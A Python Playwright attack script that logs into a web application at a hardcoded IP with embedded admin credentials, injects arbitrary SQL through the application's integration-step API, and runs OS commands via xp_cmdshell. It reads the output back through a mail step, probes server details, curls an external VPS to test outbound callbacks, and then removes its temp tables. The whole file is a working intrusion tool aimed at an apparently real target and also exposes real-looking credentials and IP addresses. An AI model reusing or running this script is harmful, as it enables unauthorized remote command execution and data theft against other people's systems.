#!/usr/bin/env python3
"""Critical: check if xp_cmdshell actually works by creating a table and inserting result."""
import asyncio, re
from playwright.async_api import async_playwright

IP = "74.208.83.171"
APP = "RTROGERSUAP1"
VPS = "45.9.2.197"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        for attempt in range(3):
            await page.goto(f"http://{IP}/{APP}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"  attempt {attempt+1}: {e}")
        else:
            print("Login failed"); await browser.close(); return
        print("Login OK")

        async def run_step(name, sql_text, step_type=1):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:''' + str(step_type) + ''', intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, strTo:"t@t.com", strSubject:"T", strMessage:"<MESSAGE>", strPayloadType:"JSON", strAuthenticationType:"JWT", intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}", ""
            await asyncio.sleep(3)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            print(f"    {name}: success={s} msg={m[:200]}", flush=True)
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strTo:null, strSubject:null, strMessage:null, strPayloadType:null, strAuthenticationType:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s, m

        # KEY TEST: Insert xp_cmdshell result into a table, then select via Send Mail
        # This is the ONLY way to get xp_cmdshell output back
        
        # Test 1: Create temp table + insert xp_cmdshell 'whoami' result
        print("\n=== Test 1: Create table + xp_cmdshell result ===")
        await run_step("create_table", 
            "IF OBJECT_ID('tempdb..##xp_result') IS NOT NULL DROP TABLE ##xp_result; "
            "CREATE TABLE ##xp_result (line NVARCHAR(MAX)); "
            "INSERT INTO ##xp_result EXEC xp_cmdshell 'whoami'", step_type=1)
        await asyncio.sleep(2)

        # Test 2: Read the result via Send Mail
        print("\n=== Test 2: Read xp_cmdshell result via Send Mail ===")
        s, m = await run_step("read_result", 
            "SELECT TOP 1 line FROM ##xp_result WHERE line IS NOT NULL", step_type=9)
        print(f"    RESULT: {m}")
        await asyncio.sleep(2)

        # Test 3: Also try SELECT ALL via FOR XML
        print("\n=== Test 3: Read all lines via FOR XML ===")
        s, m = await run_step("read_all", 
            "SELECT (SELECT line + CHAR(10) FROM ##xp_result WHERE line IS NOT NULL FOR XML PATH(''), TYPE).value('.', 'NVARCHAR(MAX)')", step_type=9)
        print(f"    RESULT: {m}")
        await asyncio.sleep(2)

        # Test 4: Check what connection 1 points to
        print("\n=== Test 4: Check connection 1 ===")
        await run_step("check_conn", 
            "IF OBJECT_ID('tempdb..##conn') IS NOT NULL DROP TABLE ##conn; "
            "CREATE TABLE ##conn (info NVARCHAR(MAX)); "
            "INSERT INTO ##conn EXEC xp_cmdshell 'sqlcmd -Q \"SELECT @@servername, DB_NAME(), @@version\" -W -h -1'", step_type=1)
        await asyncio.sleep(2)
        s, m = await run_step("read_conn", "SELECT TOP 1 info FROM ##conn WHERE info IS NOT NULL", step_type=9)
        print(f"    CONN RESULT: {m}")
        await asyncio.sleep(2)

        # Test 5: Check if xp_cmdshell returns NULL (disabled)
        print("\n=== Test 5: Check xp_cmdshell returns NULL ===")
        await run_step("check_null", 
            "IF OBJECT_ID('tempdb..##null_test') IS NOT NULL DROP TABLE ##null_test; "
            "CREATE TABLE ##null_test (line NVARCHAR(MAX)); "
            "INSERT INTO ##null_test EXEC xp_cmdshell 'whoami'; "
            "SELECT CASE WHEN EXISTS (SELECT 1 FROM ##null_test WHERE line IS NULL) THEN 'xp_cmdshell_RETURNED_NULL' ELSE 'xp_cmdshell_RETURNED_DATA' END AS status", step_type=1)
        await asyncio.sleep(2)
        s, m = await run_step("read_null", "SELECT TOP 1 line FROM ##null_test", step_type=9)
        print(f"    NULL TEST: {m}")
        await asyncio.sleep(2)

        # Test 6: Try curl to VPS and capture result
        print("\n=== Test 6: curl to VPS + capture result ===")
        await run_step("curl_capture", 
            "IF OBJECT_ID('tempdb..##curl') IS NOT NULL DROP TABLE ##curl; "
            "CREATE TABLE ##curl (line NVARCHAR(MAX)); "
            "INSERT INTO ##curl EXEC xp_cmdshell 'curl -sS -m 10 http://" + VPS + ":8080/from_customer'; "
            "SELECT TOP 1 line FROM ##curl WHERE line IS NOT NULL", step_type=1)
        await asyncio.sleep(2)
        s, m = await run_step("read_curl", "SELECT TOP 1 line FROM ##curl WHERE line IS NOT NULL", step_type=9)
        print(f"    CURL RESULT: {m}")
        await asyncio.sleep(2)

        # Cleanup
        print("\n=== Cleanup ===")
        await run_step("cleanup", 
            "IF OBJECT_ID('tempdb..##xp_result') IS NOT NULL DROP TABLE ##xp_result; "
            "IF OBJECT_ID('tempdb..##conn') IS NOT NULL DROP TABLE ##conn; "
            "IF OBJECT_ID('tempdb..##null_test') IS NOT NULL DROP TABLE ##null_test; "
            "IF OBJECT_ID('tempdb..##curl') IS NOT NULL DROP TABLE ##curl", step_type=1)

        await browser.close()

asyncio.run(main())
